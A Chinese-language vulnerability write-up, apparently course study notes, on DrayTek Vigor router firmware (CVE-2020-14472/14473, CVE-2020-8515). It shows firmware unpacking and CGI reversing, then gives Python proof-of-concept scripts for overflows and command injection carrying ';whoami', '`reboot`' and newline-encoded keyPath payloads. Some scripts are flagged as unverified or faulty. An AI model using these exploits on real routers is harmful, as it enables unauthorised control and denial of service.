Contents
  1. 1. CVE-2020-14472/CVE-2020-14473
    1. 1.1. 提取固件
    2. 1.2. 寻找漏洞点
    3. 1.3. poc(用的是公开的,未验证
  2. 2. CVE-2020-8515
    1. 2.1. poc(已验证

CVE-2020-14472/CVE-2020-14473

版本要求:DrayTek Vigor2960/3900/300B version<1.5.1.1
固件下载地址:http://www.draytek.com.cn/support/DownloadShow.php

从HWS课程@C0ss4ck 讲解中学习

  1. 寻找攻击面:

    1. nmap扫描目标开启了哪些服务

    2. 如1723(pptp),500(LT2P),8001(vcom-tunnel)是vpn相关端口,安全性较高,不做考虑

    3. 443(https),80(http) 基于lighttp设计,使用了大量CGI拓展,重点关注。

  2. 固件解包

    1. binwalk查看包,发现有UBI erease count header...ubireader——针对ubi的提取工具,使用这个工具进行提取

    2. 进入提取后目录,进入etc/init.d查看默认启动项

    3. 回到提取目录,查找httpd相关,尤其是在/etc/init.d下的,查看该文件,以及httpd的配置文件

      1
      2
      >       find . | grep httpd
      >
  1. 注意二次开发产物,到www/cgi-bin目录下,查看cgi文件
  1. 逆向分析

    1. 命令注入(授权前 | 授权后)
    2. 溢出

我使用的是v1.5.1,还存在很多其他漏洞,这里只说明这两个cve中存在的漏洞。

提取固件

binwalk查看固件

下载ubireader,使用ubireader进行固件解包

1
2
$ ubireader_extract_images Vigor2960_v1.5.1.all
$ ubireader_extract_files img-1000863340_vol-rootfs.ubifs

寻找漏洞点

  • checksec
1
2
3
4
5
6
7
[*] '/home/kk/iot/DrayTek/Vigor2960_v1.5.1/ubifs-root/Vigor2960_v1.5.1.all/ubifs-root/www/cgi-bin/mainfunction.cgi'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8000)
RWX: Has RWX segments
  • nmap

    在fofa找相关(使用默认登录账号密码失败…) nmap扫一下

  • 查找httpd相关的默认启动项(在init.d目录下)

    基于lighttpd设计,存在大量的CGI拓展。

    lighttpd是一个轻量级的web服务器,一般会有cgi文件作为支持,在./etc/lighttpd/lighttpd.conf中可以看到服务器的各个配置项,在分析固件之前可以先查看一下服务器的配置文件,这样有助于我们确定分析目标。

  • ida

    在start函数中,找到main,并重命名函数名,在main函数开始,就是获取环境变量PATH_INFO,并根据PATH_INFO的值来分流。

    在login中,发现溢出【1】

    如果不存在匹配的值,就执行下面的代码

    所以我们来看一下匹配后的对应函数。在get_subconfigdoOpenVPNdoGRETunneldownload_ovpnruequest_certificatedumpSyslogdelete_wlan_profileset_ap_map_config中存在命令注入【1~8】。形如以下:

    authuser中存在命令注入【9】

    这个函数继续往下看,有几个函数对url进行了处理

    在这些函数中,都使用了decode_url(已重命名)对url进行转义操作

    在url_decode函数中进入转义函数


    此处存在溢出【2】

poc(用的是公开的,未验证

  • 溢出【1】
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from sys import argv
from base64 import b64encode
import requests

buf = b64encode(b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")

header = {
"Content-Type": "application/raw"
"Authorization": "Basic "+buf
}
url = {
"root": "http://192.168.1.1",
"cgi": {
"root": "/cgi-bin",
"uri": {
"mf": "/mainfunction.cgi",
}
}
}

def build_url(p1, p2=None):
if p2:
return url["root"] + url[p1]["root"] + url[p1]["uri"][p2]
else:
return url["root"] + url[p1]

session = requests.session()
session.post(build_url("cgi", "mf")+"/login", headers=header)
  • 溢出【2】
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
from urllib.parse import quote
import base64

def poc(url):
headers = {
"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0"
}

url = url + "/cgi-bin/mainfunction.cgi"
data = {
"action": "web_portal_bypass_ok",
"url":"http://"+"\x40"*0xFFF+"/",
"is_android":"ture"
}
res = requests.post(url=url, verify = False, data=data, timeout=(10, 15), headers=headers)

if res.status_code != 200:
print(res.text)
else:
print(res.text)
return ""

poc("http://192.168.1.1")
  • 命令注入【1~8】

大多都是来自发送的http_input中读取的参数,未验证就拼接字符串,直接system执行,实现命令注入。(脚本似乎还有不对…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from sys import argv
from base64 import b64encode
import requests

data = {
"URL": "xxx",
"HOST": "https://xxx",
"action": "apply",
"config": ";whoami"
}
header = {
"Content-Type": "application/raw"
}
url = {
"root": "https://xx",
"cgi": {
"root": "/cgi-bin",
"uri": {
"mf": "/mainfunction.cgi",
}
}
}

def build_url(p1, p2=None):
if p2:
return url["root"] + url[p1]["root"] + url[p1]["uri"][p2]
else:
return url["root"] + url[p1]

session = requests.session()
session.post(build_url("cgi", "mf"), data=data, headers=header)
  • 命令注入【9】

允许SMS登录,并已知用户的手机号或者SMS管理员的手机号码,就可以在password中拼接shell命令执行命令注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from sys import argv
from base64 import b64encode
import requests

data = {
"URL": "192.168.1.1",
"HOST": "http://192.168.1.1",
"action": "authuser",
"formusername": b64encode(b"test").decode(),
"formpassword": b64encode(b"12345678`reboot`").decode(),
"PHONENUMBER": argv[1] # the known phone number
}
header = {
"Content-Type": "application/raw"
}
url = {
"root": "http://192.168.1.1",
"cgi": {
"root": "/cgi-bin",
"uri": {
"mf": "/mainfunction.cgi",
}
}
}

def build_url(p1, p2=None):
if p2:
return url["root"] + url[p1]["root"] + url[p1]["uri"][p2]
else:
return url["root"] + url[p1]

session = requests.session()
session.post(build_url("cgi", "mf"), data=data, headers=header)

CVE-2020-8515

公网上这个漏洞基本都已修复了…简单介绍一下

漏洞存在于上面说的分支中的login函数中所提取的keyPath,首先对keyPath进行了check,过滤了常用的`;|>$(空格等命令拼接字符,后面就是常见的命令注入,将keyPath拼接字符串后popen()😥

poc(已验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from sys import argv
from base64 import b64encode
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

headers = requests.utils.default_headers()
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0"
data = "action=login&keyPath=%27%0A%2fbin%2f" + "pwd"+ "%0A%27&loginUser=a&loginPwd=a"
url = {
"root": "http://192.168.1.1",
"cgi": {
"root": "/cgi-bin",
"uri": {
"mf": "/mainfunction.cgi",
}
}
}

def build_url(p1, p2=None):
if p2:
return url["root"] + url[p1]["root"] + url[p1]["uri"][p2]
else:
return url["root"] + url[p1]

# requests.adapters.DEFAULT_RETRIES = 5
# session = requests.session()
# session.keep_alive = False
res = requests.post(build_url("cgi", "mf"), data=data, headers=headers, verify=False)
print(res.text)

漏洞详情:https://github.com/Cossack9989/Vulns/blob/master/IoT/CVE-2020-14473.md

参考:https://bestwing.me/drayteck-vigor-vulnerability-disclosure.html

draytek漏洞分析 全家桶